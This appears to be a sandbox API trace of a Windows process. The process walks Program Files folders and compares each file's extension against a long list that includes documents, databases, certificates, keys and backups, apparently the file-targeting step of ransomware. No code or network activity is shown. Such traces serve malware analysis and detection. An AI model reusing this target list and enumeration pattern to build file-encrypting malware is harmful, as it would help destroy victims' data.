	[0179.867] lstrlenW (lpString=".p12") returned 4
	[0179.867] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1
	[0179.867] lstrlenW (lpString=".p7b") returned 4
	[0179.867] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1
	[0179.867] lstrlenW (lpString=".p7c") returned 4
	[0179.867] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1
	[0179.867] lstrlenW (lpString=".pam") returned 4
	[0179.867] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1
	[0179.867] lstrlenW (lpString=".pbm") returned 4
	[0179.867] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1
	[0179.867] lstrlenW (lpString=".pct") returned 4
	[0179.867] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1
	[0179.867] lstrlenW (lpString=".pcx") returned 4
	[0179.867] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1
	[0179.867] lstrlenW (lpString=".pdd") returned 4
	[0179.867] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1
	[0179.867] lstrlenW (lpString=".pdf") returned 4
	[0179.867] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0179.867] lstrlenW (lpString=".pdp") returned 4
	[0179.867] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1
	[0179.867] lstrlenW (lpString=".pef") returned 4
	[0179.867] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1
	[0179.867] lstrlenW (lpString=".pem") returned 4
	[0179.867] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1
	[0179.867] lstrlenW (lpString=".pff") returned 4
	[0179.867] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1
	[0179.867] lstrlenW (lpString=".pfm") returned 4
	[0179.867] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1
	[0179.868] lstrlenW (lpString=".pfx") returned 4
	[0179.868] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1
	[0179.868] lstrlenW (lpString=".pgm") returned 4
	[0179.868] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1
	[0179.868] lstrlenW (lpString=".php") returned 4
	[0179.868] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1
	[0179.868] lstrlenW (lpString=".php3") returned 5
	[0179.868] lstrcmpiW (lpString1=".php3", lpString2="l.mui") returned -1
	[0179.868] lstrlenW (lpString=".php4") returned 5
	[0179.868] lstrcmpiW (lpString1=".php4", lpString2="l.mui") returned -1
	[0179.868] lstrlenW (lpString=".php5") returned 5
	[0179.868] lstrcmpiW (lpString1=".php5", lpString2="l.mui") returned -1
	[0179.868] lstrlenW (lpString=".phtml") returned 6
	[0179.868] lstrcmpiW (lpString1=".phtml", lpString2="ll.mui") returned -1
	[0179.868] lstrlenW (lpString=".pict") returned 5
	[0179.868] lstrcmpiW (lpString1=".pict", lpString2="l.mui") returned -1
	[0179.868] lstrlenW (lpString=".pl") returned 3
	[0179.868] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1
	[0179.868] lstrlenW (lpString=".pls") returned 4
	[0179.868] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1
	[0179.868] lstrlenW (lpString=".pm") returned 3
	[0179.868] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1
	[0179.868] lstrlenW (lpString=".png") returned 4
	[0179.868] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1
	[0179.868] lstrlenW (lpString=".pnm") returned 4
	[0179.868] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1
	[0179.868] lstrlenW (lpString=".pot") returned 4
	[0179.868] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1
	[0179.868] lstrlenW (lpString=".potm") returned 5
	[0179.868] lstrcmpiW (lpString1=".potm", lpString2="l.mui") returned -1
	[0179.868] lstrlenW (lpString=".potx") returned 5
	[0179.868] lstrcmpiW (lpString1=".potx", lpString2="l.mui") returned -1
	[0179.868] lstrlenW (lpString=".ppa") returned 4
	[0179.869] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1
	[0179.869] lstrlenW (lpString=".ppam") returned 5
	[0179.869] lstrcmpiW (lpString1=".ppam", lpString2="l.mui") returned -1
	[0179.869] lstrlenW (lpString=".ppm") returned 4
	[0179.869] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1
	[0179.869] lstrlenW (lpString=".pps") returned 4
	[0179.869] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1
	[0179.869] lstrlenW (lpString=".ppsm") returned 5
	[0179.869] lstrcmpiW (lpString1=".ppsm", lpString2="l.mui") returned -1
	[0179.869] lstrlenW (lpString=".ppt") returned 4
	[0179.869] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0179.869] lstrlenW (lpString=".pptm") returned 5
	[0179.869] lstrcmpiW (lpString1=".pptm", lpString2="l.mui") returned -1
	[0179.869] lstrlenW (lpString=".pptx") returned 5
	[0179.869] lstrcmpiW (lpString1=".pptx", lpString2="l.mui") returned -1
	[0179.869] lstrlenW (lpString=".prn") returned 4
	[0179.869] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1
	[0179.869] lstrlenW (lpString=".ps") returned 3
	[0179.869] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1
	[0179.869] lstrlenW (lpString=".psb") returned 4
	[0179.869] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1
	[0179.869] lstrlenW (lpString=".psd") returned 4
	[0179.869] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1
	[0179.869] lstrlenW (lpString=".pst") returned 4
	[0179.869] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1
	[0179.869] lstrlenW (lpString=".ptx") returned 4
	[0179.869] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1
	[0179.869] lstrlenW (lpString=".pub") returned 4
	[0179.869] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1
	[0179.869] lstrlenW (lpString=".pwm") returned 4
	[0179.869] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1
	[0179.869] lstrlenW (lpString=".pxr") returned 4
	[0179.869] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1
	[0179.869] lstrlenW (lpString=".py") returned 3
	[0179.869] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1
	[0179.869] lstrlenW (lpString=".qt") returned 3
	[0179.870] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1
	[0179.870] lstrlenW (lpString=".r3d") returned 4
	[0179.870] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1
	[0179.870] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb5e4e0, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x74ccc800, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 1
	[0179.870] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb5e4e0, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x74ccc800, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 0
	[0179.870] FindClose (in: hFindFile=0x76e6e8 | out: hFindFile=0x76e6e8) returned 1
	[0179.870] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0179.870] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6394b70, ftCreationTime.dwHighDateTime=0x1d5a753, ftLastAccessTime.dwLowDateTime=0xb915c3d0, ftLastAccessTime.dwHighDateTime=0x1d5c6d6, ftLastWriteTime.dwLowDateTime=0xb915c3d0, ftLastWriteTime.dwHighDateTime=0x1d5c6d6, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="filezilla.exe", cAlternateFileName="FILEZI~1.EXE")) returned 1
	[0179.870] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d342cc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d342cc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1f0a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1
	[0179.871] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x25f400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOERES.dll", cAlternateFileName="")) returned 1
	[0179.871] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oeimport.dll", cAlternateFileName="")) returned 1
	[0179.871] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7e400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab.exe", cAlternateFileName="")) returned 1
	[0179.871] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabimp.dll", cAlternateFileName="")) returned 1
	[0179.871] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabmig.exe", cAlternateFileName="")) returned 1
	[0179.871] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x66600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 1
	[0179.871] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x66600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 0
	[0179.871] FindClose (in: hFindFile=0x76e6a8 | out: hFindFile=0x76e6a8) returned 1
	[0179.871] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4057fb8 | out: hHeap=0x710000) returned 1
	[0179.873] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e4faee, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x3e7cfe7b, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e7cfe7b, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1
	[0179.873] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4057fb8
	[0179.873] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e4faee, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x3e7cfe7b, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e7cfe7b, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e6a8
	[0179.875] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e4faee, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x3e7cfe7b, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e7cfe7b, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0179.875] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9124bcc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0179.875] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\en-US") returned 43
	[0179.875] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Windows Media Player\\en-US") returned 1
	[0179.875] lstrlenW (lpString="en-US") returned 5
	[0179.875] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="en-US") returned -1
	[0179.875] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4094fb8
	[0179.876] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\en-US") returned 43
	[0179.876] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\*", lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9124bcc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76ea68
	[0179.891] FindNextFileW (in: hFindFile=0x76ea68, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9124bcc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0179.892] FindNextFileW (in: hFindFile=0x76ea68, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9e0d51, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mpvis.dll.mui", cAlternateFileName="")) returned 1
	[0179.892] lstrlenW (lpString="mpvis.dll.mui") returned 13
	[0179.892] lstrlenW (lpString=".1cd") returned 4
	[0179.892] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0179.892] lstrlenW (lpString=".3ds") returned 4
	[0179.892] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0179.892] lstrlenW (lpString=".3fr") returned 4
	[0179.892] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0179.892] lstrlenW (lpString=".3g2") returned 4
	[0179.892] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0179.892] lstrlenW (lpString=".3gp") returned 4
	[0179.892] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0179.892] lstrlenW (lpString=".7z") returned 3
	[0179.892] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0179.892] lstrlenW (lpString=".accda") returned 6
	[0179.892] lstrcmpiW (lpString1=".accda", lpString2="ll.mui") returned -1
	[0179.892] lstrlenW (lpString=".accdb") returned 6
	[0179.892] lstrcmpiW (lpString1=".accdb", lpString2="ll.mui") returned -1
	[0179.892] lstrlenW (lpString=".accdc") returned 6
	[0179.892] lstrcmpiW (lpString1=".accdc", lpString2="ll.mui") returned -1
	[0179.892] lstrlenW (lpString=".accde") returned 6
	[0179.892] lstrcmpiW (lpString1=".accde", lpString2="ll.mui") returned -1
	[0179.892] lstrlenW (lpString=".accdt") returned 6
	[0179.892] lstrcmpiW (lpString1=".accdt", lpString2="ll.mui") returned -1
	[0179.892] lstrlenW (lpString=".accdw") returned 6
	[0179.892] lstrcmpiW (lpString1=".accdw", lpString2="ll.mui") returned -1
	[0179.892] lstrlenW (lpString=".adb") returned 4
	[0179.892] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0179.892] lstrlenW (lpString=".adp") returned 4
	[0179.892] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0179.892] lstrlenW (lpString=".ai") returned 3
	[0179.893] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0179.893] lstrlenW (lpString=".ai3") returned 4
	[0179.893] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0179.893] lstrlenW (lpString=".ai4") returned 4
	[0179.893] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0179.893] lstrlenW (lpString=".ai5") returned 4
	[0179.893] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0179.893] lstrlenW (lpString=".ai6") returned 4
	[0179.893] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0179.893] lstrlenW (lpString=".ai7") returned 4
	[0179.893] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0179.893] lstrlenW (lpString=".ai8") returned 4
	[0179.893] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0179.893] lstrlenW (lpString=".anim") returned 5
	[0179.893] lstrcmpiW (lpString1=".anim", lpString2="l.mui") returned -1
	[0179.893] lstrlenW (lpString=".arw") returned 4
	[0179.893] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0179.893] lstrlenW (lpString=".as") returned 3
	[0179.893] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0179.893] lstrlenW (lpString=".asa") returned 4
	[0179.893] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0179.893] lstrlenW (lpString=".asc") returned 4
	[0179.893] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0179.893] lstrlenW (lpString=".ascx") returned 5
	[0179.893] lstrcmpiW (lpString1=".ascx", lpString2="l.mui") returned -1
	[0179.893] lstrlenW (lpString=".asm") returned 4
	[0179.893] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0179.893] lstrlenW (lpString=".asmx") returned 5
	[0179.893] lstrcmpiW (lpString1=".asmx", lpString2="l.mui") returned -1
	[0179.893] lstrlenW (lpString=".asp") returned 4
	[0179.893] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0179.893] lstrlenW (lpString=".aspx") returned 5
	[0179.893] lstrcmpiW (lpString1=".aspx", lpString2="l.mui") returned -1
	[0179.893] lstrlenW (lpString=".asr") returned 4
	[0179.894] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0179.894] lstrlenW (lpString=".asx") returned 4
	[0179.894] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0179.894] lstrlenW (lpString=".avi") returned 4
	[0179.894] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0179.894] lstrlenW (lpString=".avs") returned 4
	[0179.894] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0179.894] lstrlenW (lpString=".backup") returned 7
	[0179.894] lstrcmpiW (lpString1=".backup", lpString2="dll.mui") returned -1
	[0179.894] lstrlenW (lpString=".bak") returned 4
	[0179.894] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0179.894] lstrlenW (lpString=".bay") returned 4
	[0179.894] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0179.894] lstrlenW (lpString=".bd") returned 3
	[0179.894] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0179.894] lstrlenW (lpString=".bin") returned 4
	[0179.894] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0179.894] lstrlenW (lpString=".bmp") returned 4
	[0179.894] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0179.894] lstrlenW (lpString=".bz2") returned 4
	[0179.894] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0179.894] lstrlenW (lpString=".c") returned 2
	[0179.894] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0179.894] lstrlenW (lpString=".cdr") returned 4
	[0179.894] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0179.894] lstrlenW (lpString=".cer") returned 4
	[0179.894] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0179.894] lstrlenW (lpString=".cf") returned 3
	[0179.894] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
	[0179.894] lstrlenW (lpString=".cfc") returned 4
	[0179.894] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0179.894] lstrlenW (lpString=".cfm") returned 4
	[0179.894] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0179.894] lstrlenW (lpString=".cfml") returned 5
	[0179.895] lstrcmpiW (lpString1=".cfml", lpString2="l.mui") returned -1
	[0179.895] lstrlenW (lpString=".cfu") returned 4
	[0179.895] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0179.895] lstrlenW (lpString=".chm") returned 4
	[0179.895] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0179.895] lstrlenW (lpString=".cin") returned 4
	[0179.895] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0179.895] lstrlenW (lpString=".class") returned 6
	[0179.895] lstrcmpiW (lpString1=".class", lpString2="ll.mui") returned -1
	[0179.895] lstrlenW (lpString=".clx") returned 4
	[0179.895] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0179.895] lstrlenW (lpString=".config") returned 7
	[0179.895] lstrcmpiW (lpString1=".config", lpString2="dll.mui") returned -1
	[0179.895] lstrlenW (lpString=".cpp") returned 4
	[0179.895] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0179.895] lstrlenW (lpString=".cr2") returned 4
	[0179.895] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0179.895] lstrlenW (lpString=".crt") returned 4
	[0179.895] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0179.895] lstrlenW (lpString=".crw") returned 4
	[0179.895] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0179.895] lstrlenW (lpString=".cs") returned 3
	[0179.895] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0179.895] lstrlenW (lpString=".css") returned 4
	[0179.895] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0179.895] lstrlenW (lpString=".csv") returned 4
	[0179.895] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0179.895] lstrlenW (lpString=".cub") returned 4
	[0179.895] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0179.896] lstrlenW (lpString=".dae") returned 4
	[0179.896] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0179.896] lstrlenW (lpString=".dat") returned 4
	[0179.896] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0179.896] lstrlenW (lpString=".db") returned 3
	[0179.896] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0179.896] lstrlenW (lpString=".dbf") returned 4
	[0179.896] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0179.896] lstrlenW (lpString=".dbx") returned 4
	[0179.896] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0179.896] lstrlenW (lpString=".dc3") returned 4
	[0179.896] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0179.896] lstrlenW (lpString=".dcm") returned 4
	[0179.896] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0179.896] lstrlenW (lpString=".dcr") returned 4
	[0179.896] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0179.896] lstrlenW (lpString=".der") returned 4
	[0179.896] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0179.896] lstrlenW (lpString=".dib") returned 4
	[0179.896] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0179.896] lstrlenW (lpString=".dic") returned 4
	[0179.896] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0179.896] lstrlenW (lpString=".dif") returned 4
	[0179.896] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0179.896] lstrlenW (lpString=".divx") returned 5
	[0179.896] lstrcmpiW (lpString1=".divx", lpString2="l.mui") returned -1
	[0179.896] lstrlenW (lpString=".djvu") returned 5
	[0179.896] lstrcmpiW (lpString1=".djvu", lpString2="l.mui") returned -1
	[0179.896] lstrlenW (lpString=".dng") returned 4
	[0179.896] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
